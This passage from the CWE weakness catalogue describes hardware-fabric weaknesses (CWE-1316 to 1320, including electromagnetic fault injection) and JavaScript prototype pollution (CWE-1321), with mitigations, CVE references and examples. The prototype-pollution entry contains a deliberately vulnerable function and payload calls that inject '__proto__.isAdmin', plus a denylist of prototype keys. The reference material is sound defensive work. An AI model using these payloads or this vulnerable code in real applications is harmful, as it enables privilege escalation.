The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory Read Memory Bypass Protection Mechanism	

## Potential Mitigations

### Phase: Architecture and Design

For responder devices, the register bit in the fabric end-point that enables the bus controlling capability must be set to 0 by default. This bit should not be set during secure-boot flows. Also, writes to this register must be access-protected to prevent malicious modifications to obtain bus-controlling capability.

### Phase: Implementation

For responder devices, the register bit in the fabric end-point that enables the bus controlling capability must be set to 0 by default. This bit should not be set during secure-boot flows. Also, writes to this register must be access-protected to prevent malicious modifications to obtain bus-controlling capability.

### Phase: System Configuration

For responder devices, the register bit in the fabric end-point that enables the bus controlling capability must be set to 0 by default. This bit should not be set during secure-boot flows. Also, writes to this register must be access-protected to prevent malicious modifications to obtain bus-controlling capability.

## Demonstrative Examples

### Example 1:

A typical, phone platform consists of the main, compute core or CPU, a DRAM-memory chip, an audio codec, a baseband modem, a power-management-integrated circuit ("PMIC"), a connectivity (WiFi and Bluetooth) modem, and several other analog/RF components. The main CPU is the only component that can control transactions, and all the other components are responder-only devices. All the components implement a PCIe end-point to interface with the rest of the platform. The responder devices should have the bus-control-enable bit in the PCIe-end-point register set to 0 in hardware to prevent the devices from controlling transactions to the CPU or other peripherals.

The audio-codec chip does not have the bus-controller-enable-register bit hardcoded to 0. There is no platform-firmware flow to verify that the bus-controller-enable bit is set to 0 in all responders.

Audio codec can now master transactions to the CPU and other platform components. Potentially, it can modify assets in other platform components to subvert system security.

Platform firmware includes a flow to check the configuration of bus-controller-enable bit in all responder devices. If this register bit is set on any of the responders, platform firmware sets it to 0. Ideally, the default value of this register bit should be hardcoded to 0 in RTL. It should also have access control to prevent untrusted entities from setting this bit to become bus controllers.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1203	Peripherals, On-chip Fabric, and Interface/IO Problems	1194	2265

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
180	Exploiting Incorrectly Configured Access Control Security Levels

### References

[REF-1135]Benoit Morgan, Eric Alata, Vincent Nicomette, Mohamed Kaaniche. "Bypassing IOMMU Protection against I/O Attacks". 2016. < <https://hal.archives-ouvertes.fr/hal-01419962/document> > .

[REF-1136]Colin L. Rothwell. "Exploitation from malicious PCI Express peripherals". 2019. < <https://www.cl.cam.ac.uk/techreports/UCAM-CL-TR-934.pdf> > .

## CWE-1316: Fabric-Address Map Allows Programming of Unwarranted Overlaps of Protected and Unprotected Ranges

**Weakness ID** : 1316  
**Structure** : Simple  
**Abstraction** : Base

### Description

The address map of the on-chip fabric has protected and unprotected regions overlapping, allowing an attacker to bypass access control to the overlapping portion of the protected region.

### Extended Description

Various ranges can be defined in the system-address map, either in the memory or in Memory-Mapped-IO (MMIO) space. These ranges are usually defined using special range registers that contain information, such as base address and size. Address decoding is the process of determining for which range the incoming transaction is destined. To ensure isolation, ranges containing secret data are access-control protected.

Occasionally, these ranges could overlap. The overlap could either be intentional (e.g. due to a limited number of range registers or limited choice in choosing size of the range) or unintentional (e.g. introduced by errors). Some hardware designs allow dynamic remapping of address ranges assigned to peripheral MMIO ranges. In such designs, intentional address overlaps can be created through misconfiguration by malicious software. When protected and unprotected ranges overlap, an attacker could send a transaction and potentially compromise the protections in place, violating the principle of least privilege.



## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Bus/Interface Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Bypass Protection Mechanism	Medium
Integrity	Read Memory	
Access Control	Modify Memory	
Authorization		

## Detection Methods

### Automated Dynamic Analysis

Review address map in specification to see if there are any overlapping ranges.

*Effectiveness = High*

### Manual Static Analysis

Negative testing of access control on overlapped ranges.

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

When architecting the address map of the chip, ensure that protected and unprotected ranges are isolated and do not overlap. When designing, ensure that ranges hardcoded in Register-Transfer Level (RTL) do not overlap.

### Phase: Implementation

Ranges configured by firmware should not overlap. If overlaps are mandatory because of constraints such as a limited number of registers, then ensure that no assets are present in the overlapped portion.

### Phase: Testing

Validate mitigation actions with robust testing.

## Demonstrative Examples

### Example 1:

An on-chip fabric supports a 64KB address space that is memory-mapped. The fabric has two range registers that support creation of two protected ranges with specific size constraints--4KB, 8KB, 16KB or 32KB. Assets that belong to user A require 4KB, and those of user B require 20KB.



Registers and other assets that are not security-sensitive require 40KB. One range register is configured to program 4KB to protect user A's assets. Since a 20KB range cannot be created with the given size constraints, the range register for user B's assets is configured as 32KB. The rest of the address space is left as open. As a result, some part of untrusted and open-address space overlaps with user B range.

The fabric does not support least privilege, and an attacker can send a transaction to the overlapping region to tamper with user B data.

Since range B only requires 20KB but is allotted 32KB, there is 12KB of reserved space. Overlapping this region of user B data, where there are no assets, with the untrusted space will prevent an attacker from tampering with user B data.

### Observed Examples

Reference	Description
<b>CVE-2009-4419</b>	Attacker can modify MCHBAR register to overlap with an attacker-controlled region, which modification prevents the SENTER instruction from properly applying VT-d protection while a Measured Launch Environment is being launched.  <i><a href="https://www.cve.org/CVERecord?id=CVE-2009-4419">https://www.cve.org/CVERecord?id=CVE-2009-4419</a></i>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		1203	Peripherals, On-chip Fabric, and Interface/IO Problems	1194	2265

### Notes

#### Maintenance

As of CWE 4.6, CWE-1260 and CWE-1316 are siblings under view 1000, but CWE-1260 might be a parent of CWE-1316. More analysis is warranted.

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
456	Infected Memory
679	Exploitation of Improperly Configured or Implemented Memory Protections

### References

[REF-1137]Yuriy Bulygin, Oleksandr Bazhaniuk, Andrew Furtak, John Loucaides, Mikhail Gorobets. "BARing the System - New vulnerabilities in Coreboot & UEFI-based Systems". 2017. < [https://www.c7zero.info/stuff/REConBrussels2017\\_BARing\\_the\\_system.pdf](https://www.c7zero.info/stuff/REConBrussels2017_BARing_the_system.pdf) >.

## CWE-1317: Improper Access Control in Fabric Bridge

**Weakness ID** : 1317

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a fabric bridge for transactions between two Intellectual Property (IP) blocks, but the bridge does not properly perform the expected privilege, identity, or other access control checks between those IP blocks.

### Extended Description

In hardware designs, different IP blocks are connected through interconnect-bus fabrics (e.g. AHB and OCP). Within a System on Chip (SoC), the IP block subsystems could be using different bus protocols. In such a case, the IP blocks are then linked to the central bus (and to other IP blocks) through a fabric bridge. Bridges are used as bus-interconnect-routing modules that link different protocols or separate, different segments of the overall SoC interconnect.

For overall system security, it is important that the access-control privileges associated with any fabric transaction are consistently maintained and applied, even when they are routed or translated by a fabric bridge. A bridge that is connected to a fabric without security features forwards transactions to the slave without checking the privilege level of the master and results in a weakness in SoC access-control security. The same weakness occurs if a bridge does not check the hardware identity of the transaction received from the slave interface of the bridge.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	[P]	284	Improper Access Control	644

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	DoS: Crash, Exit, or Restart	Medium
Integrity	Bypass Protection Mechanism	
Access Control	Read Memory	
Availability	Modify Memory	

## Detection Methods

### Simulation / Emulation

RTL simulation to ensure that bridge-access controls are implemented properly.

*Effectiveness = High*

### Formal Verification

Formal verification of bridge RTL to ensure that access control cannot be bypassed.

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

Ensure that the design includes provisions for access-control checks in the bridge for both upstream and downstream transactions.

### Phase: Implementation

Implement access-control checks in the bridge for both upstream and downstream transactions.

### Demonstrative Examples

#### Example 1:

This example is from CVE-2019-6260 [REF-1138]. The iLPC2AHB bridge connects a CPU (with multiple, privilege levels, such as user, super user, debug, etc.) over AHB interface to an LPC bus. Several peripherals are connected to the LPC bus. The bridge is expected to check the privilege level of the transactions initiated in the core before forwarding them to the peripherals on the LPC bus.

The bridge does not implement the checks and allows reads and writes from all privilege levels.

To address this, designers should implement hardware-based checks that are either hardcoded to block untrusted agents from accessing secure peripherals or implement firmware flows that configure the bridge to block untrusted agents from making arbitrary reads or writes.

### Observed Examples

Reference	Description
<b>CVE-2019-6260</b>	Baseboard Management Controller (BMC) device implements Advanced High-performance Bus (AHB) bridges that do not require authentication for arbitrary read and write access to the BMC's physical address space from the host, and possibly the network [REF-1138]. <a href="https://www.cve.org/CVERecord?id=CVE-2019-6260">https://www.cve.org/CVERecord?id=CVE-2019-6260</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1203	Peripherals, On-chip Fabric, and Interface/IO Problems	1194	2265

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
122	Privilege Abuse

### References

[REF-1138]Stewart Smith. "CVE-2019-6260: Gaining control of BMC from the host processor". 2019. < <https://www.flamingspork.com/blog/2019/01/23/cve-2019-6260:-gaining-control-of-bmc-from-the-host-processor/> >.

## CWE-1318: Missing Support for Security Features in On-chip Fabrics or Buses

**Weakness ID** : 1318

**Structure** : Simple

**Abstraction** : Base

### Description

On-chip fabrics or buses either do not support or are not configured to support privilege separation or other security features, such as access control.

### Extended Description

Certain on-chip fabrics and buses, especially simple and low-power buses, do not support security features. Apart from data transfer and addressing ports, some fabrics and buses do not have any interfaces to transfer privilege, immutable identity, or any other security attribute coming from the bus master. Similarly, they do not have dedicated signals to transport security-sensitive data from

slave to master, such as completions for certain types of transactions. Few other on-chip fabrics and buses support security features and define specific interfaces/signals for transporting security attributes from master to slave or vice-versa. However, including these signals is not mandatory and could be left unconfigured when generating the register-transfer-level (RTL) description for the fabric. Such fabrics or buses should not be used to transport any security attribute coming from the bus master. In general, peripherals with security assets should not be connected to such buses before the transaction from the bus master reaches the bus, unless some form of access control is performed at a fabric bridge or another intermediate module.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	DoS: Crash, Exit, or Restart	Medium
Integrity	Read Memory	
Access Control	Modify Memory	
Availability		

## Detection Methods

### Architecture or Design Review

Review the fabric specification and ensure that it contains signals to transfer security-sensitive signals.

*Effectiveness = High*

### Manual Static Analysis - Source Code

Lack of security features can also be confirmed through manual RTL review of the fabric RTL.

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

If fabric does not support security features, implement security checks in a bridge or any component that is between the master and the fabric. Alternatively, connect all fabric slaves that do not have any security assets under one such fabric and connect peripherals with security assets to a different fabric that supports security features.

## Demonstrative Examples

### Example 1:

Several systems on chips (SoCs) use the Advanced-Microcontroller Bus Architecture (AMBA) Advanced-Peripheral Bus (APB) protocol. APB is a simple, low-power bus and uses the PPROT[2:0] bits to indicate the security state of the bus masters ;PPROT[0] indicates privilege, PPROT[1] indicates secure/non-secure transaction, and PPROT[2] indicates instruction/data. Assume that there is no fabric bridge in the SoC. One of the slaves, the power-management unit, contains registers that store the thermal-shutdown limits.

The APB bus is used to connect several bus masters, each with a unique and immutable hardware identity, to several slaves. For a CPU supporting 8 potential identities (each with varying privilege levels), 16 types of outgoing transactions can be made--8 read transactions with each supported privilege level and 8 write transactions with each supported privilege level.

Since APB PPROT can only support up to 8 transaction types, access-control checks cannot be performed on transactions going to the slaves at the right granularity for all possible transaction types. Thus, potentially, user code running on the CPU could maliciously corrupt the thermal-shutdown-configuration registers to burn the device, resulting in permanent denial of service.

In this scenario, only peripherals that need access protection from 8 of the 16 possible transaction types can be connected to the APB bus. Peripherals that require protection from the remaining 8 transaction types can be connected to a different APB bus. Alternatively, a bridge could be implemented to handle such complex scenarios before forwarding traffic to the APB bus.

#### Example 2:

The Open-Core-Protocol (OCP) fabric supports two configurable, width-optional signals for transporting security attributes: MReqInfo and SRespInfo. MReqInfo is used to transport security attributes from bus master to slave, and SRespInfo is used to transport security attributes from slave to bus master. An SoC uses OCP to connect several bus masters, each with a unique and immutable hardware identity, to several slaves. One of the bus masters, the CPU, reports the privilege level (user or super user) in addition to the unique identity. One of the slaves, the power-management unit, contains registers that store the thermal-shutdown limits.

Since MReqInfo and SRespInfo are not mandatory, these signals are not configured when autogenerating RTL for the OCP fabric. Thus, the fabric cannot be used to transport security attributes from bus masters to slave.

Code running at user-privilege level on the CPU could maliciously corrupt the thermal-shutdown-configuration registers to burn the device and cause permanent denial of service.

To address this, configure the fabric to include MReqInfo and SRespInfo signals and use these to transport security identity and privilege level to perform access-control checks at the slave interface.

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1198	Privilege Separation and Access Control Issues	1194	2263

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
180	Exploiting Incorrectly Configured Access Control Security Levels

#### References

[REF-1139]ARM. "AMBA APB Protocol Specification, Version 2.0". 2010. < [https://www.eecs.umich.edu/courses/eecs373/readings/IHI0024C\\_amba\\_apb\\_protocol\\_spec.pdf](https://www.eecs.umich.edu/courses/eecs373/readings/IHI0024C_amba_apb_protocol_spec.pdf) >.

[REF-1140]OCP-IP. "Open Core Protocol Specification, Release 2.2". 2006. < <http://read.pudn.com/downloads95/doc/388103/OCPSpecification%202.2.pdf> >.

## CWE-1319: Improper Protection against Electromagnetic Fault Injection (EM-FI)

**Weakness ID** : 1319

**Structure** : Simple

**Abstraction** : Base

### Description

The device is susceptible to electromagnetic fault injection attacks, causing device internal information to be compromised or security mechanisms to be bypassed.

### Extended Description

Electromagnetic fault injection may allow an attacker to locally and dynamically modify the signals (both internal and external) of an integrated circuit. EM-FI attacks consist of producing a local, transient magnetic field near the device, inducing current in the device wires. A typical EMFI setup is made up of a pulse injection circuit that generates a high current transient in an EMI coil, producing an abrupt magnetic pulse which couples to the target producing faults in the device, which can lead to:

- Bypassing security mechanisms such as secure JTAG or Secure Boot
- Leaking device information
- Modifying program flow
- Perturbing secure hardware modules (e.g. random number generators)

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	693	Protection Mechanism Failure	1422

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

**Technology** : Microcontroller Hardware (*Prevalence = Undetermined*)

**Technology** : Memory Hardware (*Prevalence = Undetermined*)

**Technology** : Power Management Hardware (*Prevalence = Undetermined*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

**Technology** : Test/Debug Hardware (*Prevalence = Undetermined*)

**Technology** : Sensor Hardware (*Prevalence = Undetermined*)

### Common Consequences



Scope	Impact	Likelihood
Confidentiality	Modify Memory	
Integrity	Read Memory	
Access Control	Gain Privileges or Assume Identity	
Availability	Bypass Protection Mechanism	
	Execute Unauthorized Code or Commands	

## Potential Mitigations

### Phase: Architecture and Design

### Phase: Implementation

1. Redundancy - By replicating critical operations and comparing the two outputs can help indicate whether a fault has been injected. 2. Error detection and correction codes - Gay, Mael, et al. proposed a new scheme that not only detects faults injected by a malicious adversary but also automatically corrects single nibble/byte errors introduced by low-multiplicity faults. 3. Fail by default coding - When checking conditions (switch or if) check all possible cases and fail by default because the default case in a switch (or the else part of a cascaded if-else-if construct) is used for dealing with the last possible (and valid) value without checking. This is prone to fault injection because this alternative is easily selected as a result of potential data manipulation [REF-1141]. 4. Random Behavior - adding random delays before critical operations, so that timing is not predictable. 5. Program Flow Integrity Protection - The program flow can be secured by integrating run-time checking aiming at detecting control flow inconsistencies. One such example is tagging the source code to indicate the points not to be bypassed [REF-1147]. 6. Sensors - Usage of sensors can detect variations in voltage and current. 7. Shields - physical barriers to protect the chips from malicious manipulation.

## Demonstrative Examples


### Example 1:

In many devices, security related information is stored in fuses. These fuses are loaded into shadow registers at boot time. Disturbing this transfer phase with EM-FI can lead to the shadow registers storing erroneous values potentially resulting in reduced security.

Colin O'Flynn has demonstrated an attack scenario which uses electro-magnetic glitching during booting to bypass security and gain read access to flash, read and erase access to shadow memory area (where the private password is stored). Most devices in the MPC55xx and MPC56xx series that include the Boot Assist Module (BAM) (a serial or CAN bootloader mode) are susceptible to this attack. In this paper, a GM ECU was used as a real life target. While the success rate appears low (less than 2 percent), in practice a success can be found within 1-5 minutes once the EMFI tool is setup. In a practical scenario, the author showed that success can be achieved within 30-60 minutes from a cold start.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
MemberOf		1388	Physical Access Issues and Concerns	<input checked="" type="checkbox"/>	1194 2309

## Notes

### Maintenance

This entry is attack-oriented and may require significant modification in future versions, or even deprecation. It is not clear whether there is really a design "mistake" that enables such attacks, so this is not necessarily a weakness and may be more appropriate for CAPEC.

## Related Attack Patterns



CAPEC-ID	Attack Pattern Name
624	Hardware Fault Injection
625	Mobile Device Fault Injection

## References

- [REF-1141]Marc Witteman. "Secure Application Programming in the presence of Side Channel Attacks". 2017. < [https://www.riscure.com/uploads/2018/11/201708\\_Riscure\\_Whitepaper\\_Side\\_Channel\\_Patterns.pdf](https://www.riscure.com/uploads/2018/11/201708_Riscure_Whitepaper_Side_Channel_Patterns.pdf) >.
- [REF-1142]A. Dehbaoui, J. M. Dutertre, B. Robisson, P. Orsatelli, P. Maurine, A. Tria. "Injection of transient faults using electromagnetic pulses. Practical results on a cryptographic system". 2012. < <https://eprint.iacr.org/2012/123.pdf> >.
- [REF-1143]A. Menu, S. Bhasin, J. M. Dutertre, J. B. Rigaud, J. Danger. "Precise Spatio-Temporal Electromagnetic Fault Injections on Data Transfers". 2019. < <https://hal.telecom-paris.fr/hal-02338456/document> >.
- [REF-1144]Colin O'Flynn. "BAM BAM!! On Reliability of EMFI for in-situ Automotive ECU Attacks". < <https://eprint.iacr.org/2020/937.pdf> >.
- [REF-1145]J. Balasch, D. Arumí, S. Manich. "Design and Validation of a Platform for Electromagnetic Fault Injection". < <https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=8311630> >.
- [REF-1146]M. Gay, B. Karp, O. Keren, I. Polian. "Error control scheme for malicious and natural faults in cryptographic modules". 2019. < <https://link.springer.com/content/pdf/10.1007/s13389-020-00234-7.pdf> >.
- [REF-1147]M. L. Akkar, L. Goubin, O. Ly. "Automatic Integration of Counter-Measures Against Fault Injection Attacks". < <https://www.labri.fr/perso/ly/publications/cfed.pdf> >.
- [REF-1285]Texas Instruments. "Physical Security Attacks Against Silicon Devices". 2022 January 1. < <https://www.ti.com/lit/an/swra739/swra739.pdf?ts=1644234570420> >.

## CWE-1320: Improper Protection for Outbound Error Messages and Alert Signals

**Weakness ID** : 1320  
**Structure** : Simple  
**Abstraction** : Base

### Description

Untrusted agents can disable alerts about signal conditions exceeding limits or the response mechanism that handles such alerts.

### Extended Description

Hardware sensors are used to detect whether a device is operating within design limits. The threshold values for these limits are set by hardware fuses or trusted software such as a BIOS. Modification of these limits may be protected by hardware mechanisms.

When device sensors detect out of bound conditions, alert signals may be generated for remedial action, which may take the form of device shutdown or throttling.

Warning signals that are not properly secured may be disabled or used to generate spurious alerts, causing degraded performance or denial-of-service (DoS). These alerts may be masked by untrusted software. Examples of these alerts involve thermal and power sensor alerts.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	284	Improper Access Control	644

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

**Technology** : Microcontroller Hardware (*Prevalence = Undetermined*)

**Technology** : Memory Hardware (*Prevalence = Undetermined*)

**Technology** : Power Management Hardware (*Prevalence = Undetermined*)

**Technology** : Processor Hardware (*Prevalence = Undetermined*)

**Technology** : Test/Debug Hardware (*Prevalence = Undetermined*)

**Technology** : Sensor Hardware (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Instability DoS: Crash, Exit, or Restart Reduce Reliability Unexpected State	High

### Potential Mitigations

#### Phase: Architecture and Design

Alert signals generated by critical events should be protected from access by untrusted agents. Only hardware or trusted firmware modules should be able to alter the alert configuration.

### Demonstrative Examples

#### Example 1:

Consider a platform design where a Digital-Thermal Sensor (DTS) is used to monitor temperature and compare that output against a threshold value. If the temperature output equals or exceeds the threshold value, the DTS unit sends an alert signal to the processor.

The processor, upon getting the alert, input triggers system shutdown. The alert signal is handled as a General-Purpose-I/O (GPIO) pin in input mode.

*Example Language:*

*(Bad)*

The processor-GPIO controller exposes software-programmable controls that allow untrusted software to reprogram the state of the GPIO pin.

Reprogramming the state of the GPIO pin allows malicious software to trigger spurious alerts or to set the alert pin to a zero value so that thermal sensor alerts are not received by the processor.

Example Language:

(Good)

The GPIO alert-signal pin is blocked from untrusted software access and is controlled only by trusted software, such as the System BIOS.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1206	Power, Clock, Thermal, and Reset Concerns	1194	2266

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
180	Exploiting Incorrectly Configured Access Control Security Levels

## CWE-1321: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Weakness ID : 1321

Structure : Simple

Abstraction : Variant

### Description

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

### Extended Description

By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the product depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as `hasOwnProperty`, `toString` or `valueOf`).

This weakness is usually exploited by using a special attribute of objects called `proto`, `constructor` or `prototype`. Such attributes give access to the object prototype. This weakness is often found in code that assigns object attributes based on user input, or merges or clones objects recursively.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	915	Improperly Controlled Modification of Dynamically-Determined Object Attributes	1684
CanPrecede	B	471	Modification of Assumed-Immutable Data (MAID)	1060

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		913	Improper Control of Dynamically-Managed Code Resources	1681

### Applicable Platforms

**Language** : JavaScript (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data <i>An attacker can inject attributes that are used in other components.</i>	High
Availability	DoS: Crash, Exit, or Restart <i>An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash.</i>	High

### Potential Mitigations

#### Phase: Implementation

By freezing the object prototype first (for example, `Object.freeze(Object.prototype)`), modification of the prototype becomes impossible.

*Effectiveness = High*

*While this can mitigate this weakness completely, other methods are recommended when possible, especially in components used by upstream software ("libraries").*

#### Phase: Architecture and Design

By blocking modifications of attributes that resolve to object prototype, such as `proto` or `prototype`, this weakness can be mitigated.

*Effectiveness = High*

#### Phase: Implementation

*Strategy = Input Validation*

When handling untrusted objects, validating using a schema can be used.

*Effectiveness = Limited*

#### Phase: Implementation

By using an object without prototypes (via `Object.create(null)`), adding object prototype attributes by accessing the prototype via the special attributes becomes impossible, mitigating this weakness.

*Effectiveness = High*

#### Phase: Implementation

`Map` can be used instead of objects in most cases. If `Map` methods are used instead of object attributes, it is not possible to access the object prototype or modify it.

*Effectiveness = Moderate*

### Demonstrative Examples

#### Example 1:

This function sets object attributes based on a dot-separated path.

*Example Language: JavaScript*

*(Bad)*

```
function setValueByPath (object, path, value) {
  const pathArray = path.split(".");
  const attributeToSet = pathArray.pop();
```

```

let objectToModify = object;
for (const attr of pathArray) {
  if (typeof objectToModify[attr] !== 'object') {
    objectToModify[attr] = {};
  }
  objectToModify = objectToModify[attr];
}
objectToModify[attributeToSet] = value;
return object;
}

```

This function does not check if the attribute resolves to the object prototype. These codes can be used to add "isAdmin: true" to the object prototype.

Example Language: JavaScript

(Bad)

```

setValueByPath({}, "__proto__.isAdmin", true)
setValueByPath({}, "constructor.prototype.isAdmin", true)

```

By using a denylist of dangerous attributes, this weakness can be eliminated.

Example Language: JavaScript

(Good)

```

function setValueByPath (object, path, value) {
  const pathArray = path.split(".");
  const attributeToSet = pathArray.pop();
  let objectToModify = object;
  for (const attr of pathArray) {
    // Ignore attributes which resolve to object prototype
    if (attr === "__proto__" || attr === "constructor" || attr === "prototype") {
      continue;
    }
    if (typeof objectToModify[attr] !== "object") {
      objectToModify[attr] = {};
    }
    objectToModify = objectToModify[attr];
  }
  objectToModify[attributeToSet] = value;
  return object;
}

```

## Observed Examples

Reference	Description
<b>CVE-2018-3721</b>	Prototype pollution by merging objects. <a href="https://www.cve.org/CVERecord?id=CVE-2018-3721">https://www.cve.org/CVERecord?id=CVE-2018-3721</a>
<b>CVE-2019-10744</b>	Prototype pollution by setting default values to object attributes recursively. <a href="https://www.cve.org/CVERecord?id=CVE-2019-10744">https://www.cve.org/CVERecord?id=CVE-2019-10744</a>
<b>CVE-2019-11358</b>	Prototype pollution by merging objects recursively. <a href="https://www.cve.org/CVERecord?id=CVE-2019-11358">https://www.cve.org/CVERecord?id=CVE-2019-11358</a>
<b>CVE-2020-8203</b>	Prototype pollution by setting object attributes based on dot-separated path. <a href="https://www.cve.org/CVERecord?id=CVE-2020-8203">https://www.cve.org/CVERecord?id=CVE-2020-8203</a>

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
1	Accessing Functionality Not Properly Constrained by ACLs
77	Manipulating User-Controlled Variables
180	Exploiting Incorrectly Configured Access Control Security Levels

## References

